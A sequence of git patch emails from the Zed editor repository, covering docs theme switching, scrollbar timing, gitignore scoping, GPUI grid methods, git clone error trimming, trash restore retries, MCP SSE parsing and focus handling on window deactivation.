 }
diff --git a/docs/theme/index.hbs b/docs/theme/index.hbs
index d5e0b620051536..7a9325b1770a11 100644
--- a/docs/theme/index.hbs
+++ b/docs/theme/index.hbs
@@ -113,14 +113,18 @@
             </button>
             {{/if}}
             <div class="right-container">
-                <button id="theme-toggle" class="icon-button" type="button" title="Change Theme" aria-label="Change Theme" aria-haspopup="true" aria-expanded="false" aria-controls="theme-list">
-                    <i class="fa fa-paint-brush"></i>
+                <button id="color-scheme-toggle" class="icon-button" type="button" title="Switch to dark theme" aria-label="Switch to dark theme">
+                    <i class="fa fa-moon-o"></i>
                 </button>
 
-                <ul id="theme-list" class="theme-popup" aria-label="Themes" role="menu">
-                    <li role="none"><button role="menuitem" class="theme" id="light">Light</button></li>
-                    <li role="none"><button role="menuitem" class="theme" id="dark">Dark</button></li>
-                </ul>
+                <!-- mdBook 0.4.40's bundled book.js requires these elements even though plugins.js handles theme switching. -->
+                <div hidden aria-hidden="true">
+                    <button id="theme-toggle" type="button" aria-expanded="false"></button>
+                    <ul id="theme-list">
+                        <li><button type="button" class="theme" id="light">Light</button></li>
+                        <li><button type="button" class="theme" id="dark">Dark</button></li>
+                    </ul>
+                </div>
 
                 <button id="copy-markdown-toggle" class="icon-button ib-hidden-mobile" type="button" title="Copy Page as Markdown" aria-label="Copy page as markdown">
                     <i class="fa fa-copy"></i>
diff --git a/docs/theme/plugins.js b/docs/theme/plugins.js
index 2dc58fda37d574..a4d21adaa23e2b 100644
--- a/docs/theme/plugins.js
+++ b/docs/theme/plugins.js
@@ -49,34 +49,81 @@ if (typeof requestIdleCallback === "function") {
 
 function darkModeToggle() {
   var html = document.documentElement;
+  var themeColorMetaTag = document.querySelector('meta[name="theme-color"]');
+  var themeToggleButton = document.getElementById("color-scheme-toggle");
+  var themeToggleIcon = themeToggleButton
+    ? themeToggleButton.querySelector(".fa")
+    : null;
 
-  function setTheme(theme) {
+  function getStoredTheme() {
+    try {
+      return localStorage.getItem("mdbook-theme");
+    } catch {
+      return null;
+    }
+  }
+
+  function persistTheme(theme) {
+    try {
+      localStorage.setItem("mdbook-theme", theme);
+    } catch {}
+  }
+
+  function setTheme(theme, persist) {
     html.setAttribute("data-theme", theme);
     html.setAttribute("data-color-scheme", theme);
     html.className = theme;
-    localStorage.setItem("mdbook-theme", theme);
+
+    if (themeColorMetaTag) {
+      setTimeout(function () {
+        themeColorMetaTag.content = getComputedStyle(html).backgroundColor;
+      }, 0);
+    }
+
+    if (persist) {
+      persistTheme(theme);
+    }
+
+    if (themeToggleButton) {
+      var nextTheme = theme === "dark" ? "light" : "dark";
+      var label =
+        nextTheme === "dark" ? "Switch to dark theme" : "Switch to light theme";
+      themeToggleButton.setAttribute("aria-label", label);
+      themeToggleButton.setAttribute("title", label);
+    }
+
+    if (themeToggleIcon) {
+      themeToggleIcon.className =
+        theme === "dark" ? "fa fa-sun-o" : "fa fa-moon-o";
+    }
   }
 
   // Set initial theme
-  var currentTheme = localStorage.getItem("mdbook-theme");
+  var currentTheme = getStoredTheme();
   if (currentTheme) {
-    setTheme(currentTheme);
+    setTheme(currentTheme, false);
   } else {
     // If no theme is set, use the system's preference
     var systemPreference = window.matchMedia("(prefers-color-scheme: dark)")
       .matches
       ? "dark"
       : "light";
-    setTheme(systemPreference);
+    setTheme(systemPreference, false);
   }
 
   // Listen for system's preference changes
   const darkModeMediaQuery = window.matchMedia("(prefers-color-scheme: dark)");
   darkModeMediaQuery.addEventListener("change", function (e) {
-    if (!localStorage.getItem("mdbook-theme")) {
-      setTheme(e.matches ? "dark" : "light");
+    if (!getStoredTheme()) {
+      setTheme(e.matches ? "dark" : "light", false);
     }
   });
+
+  if (themeToggleButton) {
+    themeToggleButton.addEventListener("click", function () {
+      setTheme(html.classList.contains("dark") ? "light" : "dark", true);
+    });
+  }
 }
 
 const copyPageActions = () => {

From 97961c2a5f1ecb74f0cfdc6dbf87f5229138fe5c Mon Sep 17 00:00:00 2001
From: Gaauwe Rombouts <mail@grombouts.nl>
Date: Wed, 29 Jul 2026 12:07:58 +0200
Subject: [PATCH 753/772] ui: Fix scrollbar animation timing on web (#61786)

Use `web_time::Instant` instead of `std::time::Instant` when advancing
scrollbar animations. This uses the web platform's compatible clock in
WASM builds.

Release Notes:
- N/A
---
 Cargo.lock                            | 1 +
 crates/ui/Cargo.toml                  | 1 +
 crates/ui/src/components/scrollbar.rs | 8 ++------
 3 files changed, 4 insertions(+), 6 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 00c4a0d9bbd45b..3ae2da68989a14 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -19868,6 +19868,7 @@ dependencies = [
  "theme",
  "theme_settings",
  "ui_macros",
+ "web-time",
  "windows 0.61.3",
 ]
 
diff --git a/crates/ui/Cargo.toml b/crates/ui/Cargo.toml
index ac9a2bbc60c46c..656b068d3e0061 100644
--- a/crates/ui/Cargo.toml
+++ b/crates/ui/Cargo.toml
@@ -29,6 +29,7 @@ smallvec.workspace = true
 strum.workspace = true
 theme.workspace = true
 ui_macros.workspace = true
+web-time.workspace = true
 gpui_util.workspace = true
 
 [target.'cfg(windows)'.dependencies]
diff --git a/crates/ui/src/components/scrollbar.rs b/crates/ui/src/components/scrollbar.rs
index dde9312334d521..a142c439f48334 100644
--- a/crates/ui/src/components/scrollbar.rs
+++ b/crates/ui/src/components/scrollbar.rs
@@ -1,9 +1,5 @@
-use std::{
-    any::Any,
-    fmt::Debug,
-    ops::Not,
-    time::{Duration, Instant},
-};
+use std::{any::Any, fmt::Debug, ops::Not, time::Duration};
+use web_time::Instant;
 
 use gpui::{
     Along, Anchor, App, AppContext as _, Axis as ScrollbarAxis, BorderStyle, Bounds, ContentMask,

From c2db0f1a9784256ef81cefc708fa9f8ecc7875a5 Mon Sep 17 00:00:00 2001
From: Dylan Arbour <arbourd@users.noreply.github.com>
Date: Wed, 29 Jul 2026 06:22:08 -0400
Subject: [PATCH 754/772] worktree: Fix global gitignore on ancestors (#61689)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Fixes #61687

Prior to #60772, an `abs_path` outside the `repo_root` would cause a
panic. That PR changed it to return the `abs_path` itself, preventing
the panic, but allowing all parents of `repo_root` to be subject to the
global ignore.

This is not what git itself does.

## Solution

- This change returns `false` when the `abs_path` is outside the
`root_repo`, preventing the panic but also not returning the `abs_path`

## Testing

- One in-memory test
- Manual test by building Zed and confirming the project pane changes
(pictured below)

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

### Before, with the bug

<img width="1430" height="814" alt="Screenshot 2026-07-26 at 11 44
11 AM"
src="https://github.com/user-attachments/assets/66e3bb95-4f45-4fd9-a1e4-e7f253f092eb"
/>

### After the fix

<img width="1568" height="1042" alt="Screenshot 2026-07-26 at 12 34
58 PM"
src="https://github.com/user-attachments/assets/588eb01d-830a-4c22-93c0-667742de90b6"
/>

Release Notes:

- Fixed the project panel's global gitignore incorrectly matching parent
directories of a repository

---------

Co-authored-by: dino <dinojoaocosta@gmail.com>
---
 crates/worktree/src/ignore.rs                 | 14 ++++----
 .../tests/integration/worktree_tests.rs       | 35 ++++++++++---------
 2 files changed, 27 insertions(+), 22 deletions(-)

diff --git a/crates/worktree/src/ignore.rs b/crates/worktree/src/ignore.rs
index 5b0b3da52f13e5..b1f801afd4e363 100644
--- a/crates/worktree/src/ignore.rs
+++ b/crates/worktree/src/ignore.rs
@@ -85,12 +85,14 @@ impl IgnoreStack {
             IgnoreStackEntry::Global { ignore } => {
                 let combined_path;
                 let abs_path = if let Some(repo_root) = self.repo_root.as_ref() {
-                    if let Ok(relative_path) = abs_path.strip_prefix(repo_root) {
-                        combined_path = ignore.path().join(relative_path);
-                        &combined_path
-                    } else {
-                        abs_path
-                    }
+                    let Ok(relative_path) = abs_path.strip_prefix(repo_root) else {
+                        // The provided absolute path is outside of the repository's folderabs_path is outside repo_root and cannot be ignored
+                        // by this global ignore
+                        return false;
+                    };
+
+                    combined_path = ignore.path().join(relative_path);
+                    &combined_path
                 } else {
                     abs_path
                 };
diff --git a/crates/worktree/tests/integration/worktree_tests.rs b/crates/worktree/tests/integration/worktree_tests.rs
index 2ef74669b2c6af..dcd303e5fd2fba 100644
--- a/crates/worktree/tests/integration/worktree_tests.rs
+++ b/crates/worktree/tests/integration/worktree_tests.rs
@@ -3621,34 +3621,37 @@ async fn test_global_gitignore(executor: BackgroundExecutor, cx: &mut TestAppCon
     init_test(cx);
 
     let home = paths::home_dir();
+    let project_path = home.join("example.com").join("project");
     let fs = FakeFs::new(executor);
     fs.insert_tree(
         home,
         json!({
             ".config": {
                 "git": {
-                    "ignore": "foo\n/bar\nbaz\n"
+                    "ignore": "foo\n/bar\nbaz\n*.com\n"
                 }
             },
-            "project": {
-                ".git": {},
-                ".gitignore": "!baz",
-                "foo": "",
-                "bar": "",
-                "sub": {
-                    "bar": "",
-                },
-                "subrepo": {
+            "example.com": {
+                "project": {
                     ".git": {},
-                    "bar": ""
-                },
-                "baz": ""
+                    ".gitignore": "!baz",
+                    "foo": "",
+                    "bar": "",
+                    "sub": {
+                        "bar": "",
+                    },
+                    "subrepo": {
+                        ".git": {},
+                        "bar": ""
+                    },
+                    "baz": ""
+                }
             }
         }),
     )
     .await;
     let worktree = Worktree::local(
-        home.join("project"),
+        project_path.clone(),
         true,
         fs.clone(),
         Arc::default(),
@@ -3681,7 +3684,7 @@ async fn test_global_gitignore(executor: BackgroundExecutor, cx: &mut TestAppCon
     // Ignore statuses are updated when excludesFile changes
     fs.write(
         &home.join(".config").join("git").join("ignore"),
-        "/bar\nbaz\n".as_bytes(),
+        "/bar\nbaz\n*.com\n".as_bytes(),
     )
     .await
     .unwrap();
@@ -3705,7 +3708,7 @@ async fn test_global_gitignore(executor: BackgroundExecutor, cx: &mut TestAppCon
 
     // Statuses are updated when .git added/removed
     fs.remove_dir(
-        &home.join("project").join("subrepo").join(".git"),
+        &project_path.join("subrepo").join(".git"),
         RemoveOptions {
             recursive: true,
             ..Default::default()

From 5ccbbbd88f74a6283241db699ea00cb14f7e5a7f Mon Sep 17 00:00:00 2001
From: Bowen Xu <40262910+bowenxuuu@users.noreply.github.com>
Date: Wed, 29 Jul 2026 18:24:22 +0800
Subject: [PATCH 755/772] gpui: Add `grid_rows_min_content` and
 `grid_rows_max_content` methods (#61837)

# Objective

- GPUI provides `grid_cols_min_content()` and `grid_cols_max_content()`,
but the `grid_rows_*_content()` methods are missing.

## Solution

- This PR adds the `grid_rows_min_content()` and
`grid_rows_max_content()` methods, and renames the enum
`TemplateColumnMinSize` to `GridTemplateMinSize`.

## Testing

- I have tested locally.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable


Release Notes:

- N/A
---
 crates/gpui/src/style.rs  | 10 +++++-----
 crates/gpui/src/styled.rs | 31 +++++++++++++++++++++++++------
 crates/gpui/src/taffy.rs  |  6 +++---
 3 files changed, 33 insertions(+), 14 deletions(-)

diff --git a/crates/gpui/src/style.rs b/crates/gpui/src/style.rs
index 0908a7ea4d3eab..39689b76266589 100644
--- a/crates/gpui/src/style.rs
+++ b/crates/gpui/src/style.rs
@@ -142,13 +142,13 @@ impl ObjectFit {
 #[derive(
     Copy, Clone, PartialEq, Eq, PartialOrd, Ord, Debug, Default, JsonSchema, Serialize, Deserialize,
 )]
-pub enum TemplateColumnMinSize {
-    /// The column size may be 0
+pub enum GridTemplateMinSize {
+    /// The column or row size may be 0
     #[default]
     Zero,
-    /// The column size can be determined by the min content
+    /// The column or row size can be determined by the min content
     MinContent,
-    /// The column size can be determined by the max content
+    /// The column or row size can be determined by the max content
     MaxContent,
 }
 
@@ -171,7 +171,7 @@ pub struct GridTemplate {
     /// How this template directive should be repeated
     pub repeat: u16,
     /// The minimum size in the repeat(<>, minmax(_, 1fr)) equation
-    pub min_size: TemplateColumnMinSize,
+    pub min_size: GridTemplateMinSize,
 }
 
 /// The CSS styling that can be applied to an element via the `Styled` trait
diff --git a/crates/gpui/src/styled.rs b/crates/gpui/src/styled.rs
index 901e64d5166c2a..a24982a6acb607 100644
--- a/crates/gpui/src/styled.rs
+++ b/crates/gpui/src/styled.rs
@@ -1,8 +1,8 @@
 use crate::{
     self as gpui, AbsoluteLength, AlignContent, AlignItems, AlignSelf, BorderStyle, CursorStyle,
     DefiniteLength, Display, Fill, FlexDirection, FlexWrap, Font, FontFeatures, FontStyle,
-    FontWeight, GridPlacement, GridTemplate, Hsla, JustifyContent, Length, SharedString,
-    StrikethroughStyle, StyleRefinement, TemplateColumnMinSize, TextAlign, TextOverflow,
+    FontWeight, GridPlacement, GridTemplate, GridTemplateMinSize, Hsla, JustifyContent, Length,
+    SharedString, StrikethroughStyle, StyleRefinement, TextAlign, TextOverflow,
     TextStyleRefinement, UnderlineStyle, WhiteSpace, px, relative, rems,
 };
 pub use gpui_macros::{
@@ -752,7 +752,7 @@ pub trait Styled: Sized {
     fn grid_cols(mut self, cols: u16) -> Self {
         self.style().grid_cols = Some(GridTemplate {
             repeat: cols,
-            min_size: TemplateColumnMinSize::Zero,
+            min_size: GridTemplateMinSize::Zero,
         });
         self
     }
@@ -762,7 +762,7 @@ pub trait Styled: Sized {
     fn grid_cols_min_content(mut self, cols: u16) -> Self {
         self.style().grid_cols = Some(GridTemplate {
             repeat: cols,
-            min_size: TemplateColumnMinSize::MinContent,
+            min_size: GridTemplateMinSize::MinContent,
         });
         self
     }
@@ -771,7 +771,7 @@ pub trait Styled: Sized {
     fn grid_cols_max_content(mut self, cols: u16) -> Self {
         self.style().grid_cols = Some(GridTemplate {
             repeat: cols,
-            min_size: TemplateColumnMinSize::MaxContent,
+            min_size: GridTemplateMinSize::MaxContent,
         });
         self
     }
@@ -780,7 +780,26 @@ pub trait Styled: Sized {
     fn grid_rows(mut self, rows: u16) -> Self {
         self.style().grid_rows = Some(GridTemplate {
             repeat: rows,
-            min_size: TemplateColumnMinSize::Zero,
+            min_size: GridTemplateMinSize::Zero,
+        });
+        self
+    }
+
+    /// Sets the grid rows with min-content minimum sizing.
+    /// Unlike grid_rows, it won't shrink to height 0 in AvailableSpace::MinContent constraints.
+    fn grid_rows_min_content(mut self, rows: u16) -> Self {
+        self.style().grid_rows = Some(GridTemplate {
+            repeat: rows,
+            min_size: GridTemplateMinSize::MinContent,
+        });
+        self
+    }
+
+    /// Sets the grid rows with max-content maximum sizing for content-based row heights.
+    fn grid_rows_max_content(mut self, rows: u16) -> Self {
+        self.style().grid_rows = Some(GridTemplate {
+            repeat: rows,
+            min_size: GridTemplateMinSize::MaxContent,
         });
         self
     }
diff --git a/crates/gpui/src/taffy.rs b/crates/gpui/src/taffy.rs
index eb3c391dc5e2b4..13d3bc4079b317 100644
--- a/crates/gpui/src/taffy.rs
+++ b/crates/gpui/src/taffy.rs
@@ -460,21 +460,21 @@ impl ToTaffy<taffy::style::Style> for Style {
             unit.map(|template| {
                 match template.min_size {
                     // grid-template-*: repeat(<number>, minmax(0, 1fr));
-                    crate::TemplateColumnMinSize::Zero => {
+                    crate::GridTemplateMinSize::Zero => {
                         vec![repeat(
                             template.repeat,
                             vec![minmax(length(0.0_f32), fr(1.0_f32))],
                         )]
                     }
                     // grid-template-*: repeat(<number>, minmax(min-content, 1fr));
-                    crate::TemplateColumnMinSize::MinContent => {
+                    crate::GridTemplateMinSize::MinContent => {
                         vec![repeat(
                             template.repeat,
                             vec![minmax(min_content(), fr(1.0_f32))],
                         )]
                     }
                     // grid-template-*: repeat(<number>, minmax(0, max-content))
-                    crate::TemplateColumnMinSize::MaxContent => {
+                    crate::GridTemplateMinSize::MaxContent => {
                         vec![repeat(
                             template.repeat,
                             vec![minmax(length(0.0_f32), max_content())],

From ba4cb2a2cc930cb173ff6dbbdbcc93f7e62b5564 Mon Sep 17 00:00:00 2001
From: Xin Zhao <zx0@mail.ustc.edu.cn>
Date: Wed, 29 Jul 2026 18:30:02 +0800
Subject: [PATCH 756/772] Trim trailing newline from git clone error messages
 (#61674)

# Objective

When `git clone` fails, the error message produced by git is collected,
propagated, and finally displayed to the user in a pop-up. However, the
pop-up always contains an extra blank line.

The root cause is that Zed builds the error message using simple string
concatenation:

https://github.com/zed-industries/zed/blob/82aef44308540b576e4e51fb379efa71614e5c91/crates/fs/src/fs.rs#L1253-L1258
and the error message from `git clone` contains a trailing newline,
which results in the blank line in Zed's error pop-up.

## Solution

Trim the trailing whitespace from the error message produced by `git
clone`.

## Testing

Built and tested locally. The before/after comparison is shown below.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

## Show Case

| Before | After |
| :--: | :--: |
| <img width="846" height="937" alt="Before"
src="https://github.com/user-attachments/assets/26b918b9-57dc-46e8-880a-525dd4ae257d"
/> | <img width="840" height="952" alt="After"
src="https://github.com/user-attachments/assets/fb6380e3-afad-4a5a-98b1-05e059fd16f5"
/> |

Release Notes:

- Fixed extra blank line appearing in git clone error messages
---
 crates/fs/src/fs.rs | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/crates/fs/src/fs.rs b/crates/fs/src/fs.rs
index 009ac99acd51e5..7fb443160b8b75 100644
--- a/crates/fs/src/fs.rs
+++ b/crates/fs/src/fs.rs
@@ -1253,7 +1253,7 @@ impl Fs for RealFs {
         if !output.status.success() {
             anyhow::bail!(
                 "git clone failed: {}",
-                String::from_utf8_lossy(&output.stderr)
+                String::from_utf8_lossy(&output.stderr).trim_end()
             );
         }
 

From f85349be9c466643902dd06b98b5cc13bfbc83f6 Mon Sep 17 00:00:00 2001
From: Dino <dinojoaocosta@gmail.com>
Date: Wed, 29 Jul 2026 11:38:21 +0100
Subject: [PATCH 757/772] fs: Keep trash registry entry when restore fails
 (#61791)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

A failed restore, for example, a collision at the original path, used to
remove the `TrashedEntry` from the registry before attempting the
operation, so any later attempt with the same `TrashId` would report an
`AlreadyRestored` error, even though the item still sat in the system
trash.

## Solution

Update both `RealFs::restore` and `FakeFs::restore` to remove the entry
only after the restore succeeds. There's also a small unrelated change
in `ProjectPanel::drag_onto` to log, rather than silently discard, a
failed undo-history record in the project panel, matching existing call
sites.

## Testing

Introduced a new test for these changes
– `restore_can_be_retried_after_collision` .

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- N/A
---
 crates/fs/src/fs.rs                       |  8 +++++--
 crates/fs/tests/integration/fs_tests.rs   | 27 +++++++++++++++++++++++
 crates/project_panel/src/project_panel.rs | 24 +++++++++++---------
 3 files changed, 46 insertions(+), 13 deletions(-)

diff --git a/crates/fs/src/fs.rs b/crates/fs/src/fs.rs
index 7fb443160b8b75..c321f8704e9dd3 100644
--- a/crates/fs/src/fs.rs
+++ b/crates/fs/src/fs.rs
@@ -1362,7 +1362,8 @@ impl Fs for RealFs {
         let trashed_entry = self
             .trash
             .lock()
-            .remove(trash_id)
+            .get(trash_id)
+            .cloned()
             .ok_or(TrashRestoreError::AlreadyRestored)?;
 
         let restored_item_path = trashed_entry.original_parent.join(&trashed_entry.name);
@@ -1375,7 +1376,9 @@ impl Fs for RealFs {
                 tx.send(res)
             })
             .expect("The OS can spawn a threads");
+
         rx.await.expect("Restore all never panics")?;
+        self.trash.lock().remove(trash_id);
         Ok(restored_item_path)
     }
 }
@@ -3346,7 +3349,7 @@ impl Fs for FakeFs {
     async fn restore(&self, trash_id: TrashId) -> Result<PathBuf, TrashRestoreError> {
         let mut state = self.state.lock();
 
-        let Some((trashed_entry, fake_entry)) = state.trash.lock().remove(trash_id) else {
+        let Some((trashed_entry, fake_entry)) = state.trash.lock().get(trash_id).cloned() else {
             return Err(TrashRestoreError::AlreadyRestored);
         };
 
@@ -3366,6 +3369,7 @@ impl Fs for FakeFs {
 
         match result {
             Ok(_) => {
+                state.trash.lock().remove(trash_id);
                 state.emit_event([(path.clone(), Some(PathEventKind::Created))]);
                 Ok(path)
             }
diff --git a/crates/fs/tests/integration/fs_tests.rs b/crates/fs/tests/integration/fs_tests.rs
index a32c3bda846f93..06e9facb987af6 100644
--- a/crates/fs/tests/integration/fs_tests.rs
+++ b/crates/fs/tests/integration/fs_tests.rs
@@ -1126,3 +1126,30 @@ async fn test_realfs_watch_stress_reports_missed_paths(
         missed_paths.len()
     );
 }
+
+#[gpui::test]
+async fn restore_can_be_retried_after_collision(cx: &mut TestAppContext) {
+    let fs = FakeFs::new(cx.background_executor.clone());
+    let path = path!("/root/a.txt");
+    let remove_options = RemoveOptions::default();
+    fs.insert_tree(path!("/root"), json!({ "a.txt": "original"}))
+        .await;
+
+    // We'll first trash the `a.txt` file so we can hold onto its `TrashId`,
+    // allowing us to later attempt restoring it again, ensuring that it didn't
+    // get removed from the trash state, even if restoring failed.
+    let trash_id = fs.trash(path.as_ref(), remove_options).await.unwrap();
+
+    fs.insert_file(path, "conflicting".into()).await;
+    let err = fs.restore(trash_id).await.unwrap_err();
+    assert!(matches!(err, TrashRestoreError::Collision { .. }));
+
+    fs.remove_file(path.as_ref(), remove_options).await.unwrap();
+    let restored_path = fs.restore(trash_id).await.unwrap();
+    assert_eq!(fs.load(restored_path.as_path()).await.unwrap(), "original");
+
+    assert!(matches!(
+        fs.restore(trash_id).await.unwrap_err(),
+        TrashRestoreError::AlreadyRestored
+    ));
+}
diff --git a/crates/project_panel/src/project_panel.rs b/crates/project_panel/src/project_panel.rs
index 670bdd40989a5d..1dcb28933b5b60 100644
--- a/crates/project_panel/src/project_panel.rs
+++ b/crates/project_panel/src/project_panel.rs
@@ -4831,18 +4831,20 @@ impl ProjectPanel {
                     }
                     // update selection
                     if let Some(entry_id) = last_succeed {
-                        project_panel.update_in(cx, |project_panel, window, cx| {
-                            project_panel.selection = Some(SelectedEntry {
-                                worktree_id,
-                                entry_id,
-                            });
-                            // if only one entry was dragged and it was disambiguated, open the rename editor
-                            if item_count == 1 && disambiguation_range.is_some() {
-                                project_panel.rename_impl(disambiguation_range, window, cx);
-                            }
+                        project_panel
+                            .update_in(cx, |project_panel, window, cx| {
+                                project_panel.selection = Some(SelectedEntry {
+                                    worktree_id,
+                                    entry_id,
+                                });
+                                // if only one entry was dragged and it was disambiguated, open the rename editor
+                                if item_count == 1 && disambiguation_range.is_some() {
+                                    project_panel.rename_impl(disambiguation_range, window, cx);
+                                }
 
-                            project_panel.undo_manager.record(changes)
-                        })??;
+                                project_panel.undo_manager.record(changes)
+                            })?
+                            .log_err();
                     }
 
                     std::result::Result::Ok::<(), anyhow::Error>(())

From 007ffc790e653dda87f2f2f6276358f3a4e45c74 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E8=BF=B7=E6=B8=A1?= <justjavac@gmail.com>
Date: Wed, 29 Jul 2026 18:46:31 +0800
Subject: [PATCH 758/772] Handle SSE data fields without spaces (#60575)

Fixes #60270.

## Summary

- Accept MCP HTTP SSE `data:` fields when the optional space after the
colon is omitted.
- Add a regression test covering `data:{...}` streamable HTTP responses.

## Tests

- `cargo fmt --check`
- `cargo test -p context_server
test_sse_data_field_without_space_after_colon -- --nocapture`
- `cargo test -p context_server -- --nocapture`

Release Notes:

- Fixed MCP HTTP context servers timing out when SSE data fields omit
the optional space after the colon.

---------

Co-authored-by: dino <dinojoaocosta@gmail.com>
---
 crates/context_server/src/transport/http.rs | 54 ++++++++++++++++++++-
 1 file changed, 52 insertions(+), 2 deletions(-)

diff --git a/crates/context_server/src/transport/http.rs b/crates/context_server/src/transport/http.rs
index aa47a73fc383e6..6e2ef73475b851 100644
--- a/crates/context_server/src/transport/http.rs
+++ b/crates/context_server/src/transport/http.rs
@@ -300,7 +300,7 @@ impl HttpTransport {
                                     data_buffer.clear();
                                 }
                                 in_message = false;
-                            } else if let Some(data) = line.strip_prefix("data: ") {
+                            } else if let Some(data) = line.strip_prefix("data:") {
                                 // Handle data lines
                                 let data = data.trim();
                                 if !data.is_empty() {
@@ -412,9 +412,13 @@ impl Drop for HttpTransport {
 mod tests {
     use super::*;
     use async_trait::async_trait;
+    use futures::FutureExt as _;
     use gpui::TestAppContext;
     use parking_lot::Mutex as SyncMutex;
-    use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
+    use std::{
+        sync::atomic::{AtomicBool, AtomicUsize, Ordering},
+        time::Duration,
+    };
 
     /// A mock token provider that returns a configurable token and tracks
     /// refresh attempts.
@@ -492,6 +496,52 @@ mod tests {
             .unwrap())
     }
 
+    #[gpui::test]
+    async fn test_sse_data_field(cx: &mut TestAppContext) {
+        for data_prefix in ["data:", "data: "] {
+            let body = format!(
+                "id:1\nevent:message\n{data_prefix}{{\"jsonrpc\":\"2.0\",\"id\":1,\"result\":{{}}}}\n\n"
+            );
+            let client = make_fake_http_client(move |_req| {
+                let body = body.clone();
+                Box::pin(async move {
+                    Ok(Response::builder()
+                        .status(200)
+                        .header("Content-Type", "text/event-stream;charset=UTF-8")
+                        .body(AsyncBody::from(body.into_bytes()))
+                        .unwrap())
+                })
+            });
+
+            let transport = HttpTransport::new(
+                client,
+                "http://mcp.example.com/mcp".to_string(),
+                HashMap::default(),
+                cx.background_executor.clone(),
+            );
+
+            transport
+                .send(r#"{"jsonrpc":"2.0","id":1,"method":"initialize"}"#.to_string())
+                .await
+                .expect("send should succeed");
+
+            let mut responses = transport.receive();
+            let next_response = responses.next().fuse();
+            let timeout = cx.background_executor.timer(Duration::from_secs(1)).fuse();
+            futures::pin_mut!(next_response, timeout);
+
+            let response = futures::select_biased! {
+                response = next_response => response.expect("expected SSE response"),
+                _ = timeout => panic!("timed out waiting for SSE response with {data_prefix:?}"),
+            };
+
+            assert_eq!(
+                response, r#"{"jsonrpc":"2.0","id":1,"result":{}}"#,
+                "unexpected SSE response for {data_prefix:?}",
+            );
+        }
+    }
+
     #[gpui::test]
     async fn test_bearer_token_attached_to_requests(cx: &mut TestAppContext) {
         // Capture the Authorization header from the request.

From b005c0de6728c65db431520647b2fb5c2887e14f Mon Sep 17 00:00:00 2001
From: Mikhail Butvin <butvin.mikhail@gmail.com>
Date: Wed, 29 Jul 2026 15:49:46 +0300
Subject: [PATCH 759/772] Don't cancel renames or dismiss Go to Line when the
 window is deactivated (#61852)

Closes #39286

## Problem

Switching the keyboard layout on Wayland (e.g. GNOME's Super+Space)
makes the compositor briefly grab the keyboard, which deactivates the
Zed window. GPUI reports window deactivation as a blur of the focused
element (`WindowFocusEvent` is emitted with an empty
`current_focus_path`), so controls that dismiss or cancel on blur
treated it as the user abandoning them. The same happens when switching
to another app window. As discussed in #39286 with @MrSubidubi, the
desired behavior is to keep these controls open and focused across
window deactivation.

## Fix

Guard the blur-driven cancel/dismiss handlers with
`window.is_window_active()`, following the pattern established for
pickers in #41320:

- Project panel: in-progress rename / new file / new directory inputs
are no longer cancelled when the window is deactivated
- Collab panel: in-progress channel rename is no longer cancelled
- Go to Line: the dialog is no longer dismissed

In-window focus changes (clicking elsewhere, Escape) keep the existing
commit/cancel semantics. The terminal tab rename needed no change: it
re-checks `FocusHandle::is_focused`, which reads `window.focus` and that
survives deactivation. Command palette, file finder, and outline were
already fixed by #41320.

Added a regression test (`test_rename_survives_window_deactivation`)
that starts a rename, deactivates the window via the test platform, and
asserts the edit state survives.

Two milder siblings were left unchanged to keep this PR focused,
flagging them for a maintainer decision: the notebook markdown cell
exits edit mode on blur (`crates/repl/src/notebook/cell.rs`), and the
diagnostics view prunes diagnosticless buffers on blur
(`crates/diagnostics/src/diagnostics.rs`).

Longer term it may be worth carrying the blur cause in the event itself
(e.g. a `FocusMoved` vs `WindowDeactivated` reason on `FocusOutEvent`
and `EditorEvent::Blurred`), so each handler has to state which causes
it handles instead of relying on an opt-in guard; happy to file a
separate issue for that.

## Before



https://github.com/user-attachments/assets/9eec1bb5-1881-4b3a-80ef-a287e23219ca

## After



https://github.com/user-attachments/assets/49b8775c-175a-4882-835d-871432c0b315

## Suggested .rules additions

> Handlers that cancel or dismiss UI on blur (`EditorEvent::Blurred`,
`on_blur`, `on_focus_out`) must check `window.is_window_active()` first:
GPUI reports window deactivation (app switch, layout switcher grabbing
the keyboard) as a blur of the focused element, and dismissing there
loses user input.

Release Notes:

- Fixed in-progress file renames, channel renames, and the Go to Line
dialog being cancelled when the window is deactivated, e.g. by a
keyboard layout switch on Wayland or by switching to another application
